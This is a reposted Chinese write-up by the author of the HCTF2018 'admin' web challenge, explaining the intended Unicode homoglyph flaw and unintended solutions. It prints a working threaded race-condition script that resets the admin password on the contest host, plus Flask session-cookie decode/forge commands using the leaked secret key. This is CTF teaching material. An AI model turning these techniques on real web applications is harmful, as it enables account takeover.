专栏首页安恒网络空间安全讲武堂[HCTF] admin出题人求挨打

[HCTF] admin出题人求挨打

HCTF2018-web-admin来自出题人的write up

——特别感谢本文作者:ckj123——

感谢本文作者长期在“安恒网络空间安全讲武堂”公众号发表优质稿件,也感谢各位公众号作者和粉丝对本公众号的大力支持。我们会努力做的更好的!(~ ̄▽ ̄)~

admin

这题本来的思路是希望大家了解下Unicode的安全问题 然后因为出题人的安全疏忽,产生了很多非预期(出来挨打挨打) 学习学习非预期

预期解法

这个是 spotify的一个漏洞

就是照着这个的逻辑写了一份代码(没想到问题这么多。。我真的不是考session伪造!!) 按这个做题就好了

非预期解法

被alias嘲笑开发鬼才=。=

条件竞争

因为没有验证是否admin就赋值给session导致条件竞争修改admin密码

脚本来自 whitzard

import requests import threading
def login(s, username, password): 
    data = {'username': username, 'password':password, 'submit': ''}
    return s.post("http://admin.2018.hctf.io/login", data=data)
def logout(s):
    return s.get("http://admin.2018.hctf.io/logout")
def change(s, newpassword): 
    data = {'newpassword':newpassword }
    return s.post("http://admin.2018.hctf.io/change", data=data)
def func1(s):
    login(s, 'ddd', 'ddd') 
    change(s, 'qweqweabcabc')
def func2(s): 
    logout(s)
    res = login(s, 'admin', 'qweqweabcabc')
    if '<a href="/index">/index</a>' in res.text:
    print('finish')
def main():
    for i in range(1000):
        print(i)
        s = requests.Session()
        t1 = threading.Thread(target=func1, args=(s,)) t2 = threading.Thread(target=func2, args=(s,)) t1.start()
            t2.start()
if __name__ == "__main__": 
    main()

session伪造

因为我一不小心把secret_key给传到github了 所以可以伪造我的cookiehttps://github.com/noraj/flask-session-cookie-manager用这个工具 首先先获得cookie然后使用这个工具

python Flasksession_cookie_manager.py decode -c '.eJw9kM1uwjAQhF-l2jOH_DSkQeqByiUikjcCpYq8F-S6DskGUylAqYx491ocOtf5NLM7N9h1kz31sDhPFzuD3fAFixs8fcICsJVX6dWvSojRvzn0OKLYMgqTkDAxNTggyyQwKZWbTPGqV27bY4kHcusI-d1TuRqlw5FcNWIjM9mSI7EdarHJqMVeBl7x6NFVrhb7VHF1wAad9BUj75_rcuOJQzcbL1uZSrG8EpuoFtVBNeuUmAK_fIX7DMxp6nbn79Eew_GZ7qIozWOd2bjIu6jLdaqNtflLkRTzRJvM6qIzc5jB4PTe_n-tXfVhlq-PxKN2wYCfoMBdTnZ67ANxBPc_h0BkmA.W-e9Ug.HvSEX-rxyPxnyB5j2HsfgyDYKLI' -s 'ckj123'
{'_fresh': True, '_id': b'5c0361cfc70f73d44c476d75e3b636367dd9b1abda4cefb4613dad2cdfbd5391ffd4b849eca2dab936bf887b2e53f32c6888d3f0f6731c7000f7482ea27f6e50', 'csrf_token': '5af00371a5e197f0f7a3acee7892962ac5ea9fc6', 'image': b'jbTp', 'name': 'vvvv', 'user_id': '10'}
python3 Flasksession_cookie_manager.py encode -t "{'_fresh': True, '_id': b'5c0361cfc70f73d44c476d75e3b636367dd9b1abda4cefb4613dad2cdfbd5391ffd4b849eca2dab936bf887b2e53f32c6888d3f0f6731c7000f7482ea27f6e50', 'csrf_token': '5af00371a5e197f0f7a3acee7892962ac5ea9fc6', 'image': b'jbTp', 'name': 'admin', 'user_id': '10'}" -s 'ckj123'
.eJw9kMtqwkAUhl-lnLWLXBrTCC5SpgYDc4KSEuZsZDpOTE4cC1GxjPjuTV10-_Px3-6wa0d77mBxGa92Brt-D4s7vHzBArCRN-nVj4qI0b879Dig2DIKE5EwIdXYI8toYmIqNoniVafctsMCj-TWAfKHp2I1SIcDuXLAWiayIUdi21dik1CDnZx4xYNHV7pKHGLF5RFrdNKXjHx4rYqNJ56y2XjZyFiK_EZsgkqUR1WvY2Ka-HwJjxmY89juLt-DPU3lE90GQZyGOrFhlrZBm-pYG2vTtyzK5pE2idVZa-Ywg97pg_1frV35afLl0_Gknf2T9q4_TeD1bMfnQRAG8PgF6chkyQ.W-e9gA.eA_1zHVsj7eaZndYC1uPklqPPl0

这样就可以伪造admin登录进去了

弱密码

可以在我的脚本看到我30分钟要刷新一次数据库 原因是我怕很多人在改密码的时候会改成弱密码,导致别人偷鸡进入 admin账户,比赛结束还是发现有些队是这样拿到flag的 现在想想应该在修改密码的时候规定只能为强密码,太菜了

玄学操作

天枢这简直是我做ctf以来最神奇的一次经历 先是在fuzz过程中莫名其妙的拿到了flag 这一点其实想看看出题大佬怎么说的,感觉是后端数据库刷新的时候验证用户会出现问题。因为后来又复现成功了一次,具体操作是:在整点的时候注册admin账户提示已存在->再注册自己的账户提示注册成功后直接弹出flag,如下图...

出题人一脸懵逼=。=,我猜是条件竞争的原因吧

总结

出题人第一次出题,太菜了=。=,经验不足,希望明年可以有更有趣的题目 做为一个学习安全的太不注意安全问题了(该打)

题目环境

https://github.com/woadsl1234/HCTF2018_admin

参考文章

http://xdxd.love/2016/10/17/unicode同形字引起的安全问题/ https://graneed.hatenablog.com/entry/2018/11/11/212048 http://blog.lnyas.xyz/?p=1411 https://graneed.hatenablog.com/entry/2018/11/11/212048

本文分享自微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-11-14

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • hackme.inndy.tw的19道web题解(中)

    目录 写在前面 ...... login as admin 0 Login as Admin 0.1 login as admin 1.2 login as a...

    安恒网络空间安全讲武堂
  • 2019国赛部分题目WP---NEX的小老妹

    根据提示,可能存在文件包含 尝试一下php://filter/convert.base64-encode/resource=index.php 打到源码 ind...

    安恒网络空间安全讲武堂
  • AD线下赛——防守思路分析

    如果没有一定的攻击基础,以及扎实的开发功底,想要做好防御是不可能的,因此想要在AD类竞赛中做好防御,首先是有足够的基础,这里面的基础有很多,大概包括以下几个方面...

    安恒网络空间安全讲武堂
  • 弱口令,yyds

    在渗透企业资产时,弱口令往往可达到出奇制胜,事半功倍的效果!特别是内网,那家伙,一个admin admin或者admin123 拿下一片,懂的都懂。

    Gamma实验室
  • SQL注入学习之 - Access数据库注入原理

    Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户...

    渗透攻击红队
  • 博客系统开发-后台模块创建及相关路由配置

    今天来说一下“博客系统开发-后台模块创建及相关路由配置”,继昨天‘博客开发-框架安装及网站配置’,我们今天来写后台模块、配置强制路由模式、创建后台公共控制器、首...

    小白程序猿
  • pycharm wsl Permission denied

    一看就知道这个是linux用户权限的问题,一开始安装子系统会强制用户设置一个账户,该账户是个普通账户,无权擦写/usr/local目录下的文件

    马哥Python
  • Django安装及简单使用1.5

    Django安装及简单使用1.5 代码都在github: URL:https://github.com/njxshr/codes/tree/master/t...

    98k
  • thinkphp 5框架实现登陆,登出及session登陆状态检测功能示例

    本文实例讲述了thinkphp 5框架实现登陆,登出及session登陆状态检测功能。分享给大家供大家参考,具体如下:

    砸漏
  • Django之admin的使用和源码剖析

    人生不如戏

扫码关注云+社区

领取腾讯云代金券